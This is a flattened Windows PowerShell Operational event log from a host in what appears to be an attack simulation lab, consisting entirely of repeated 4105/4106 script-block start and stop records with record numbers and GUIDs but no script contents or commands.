410615103150x0676508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 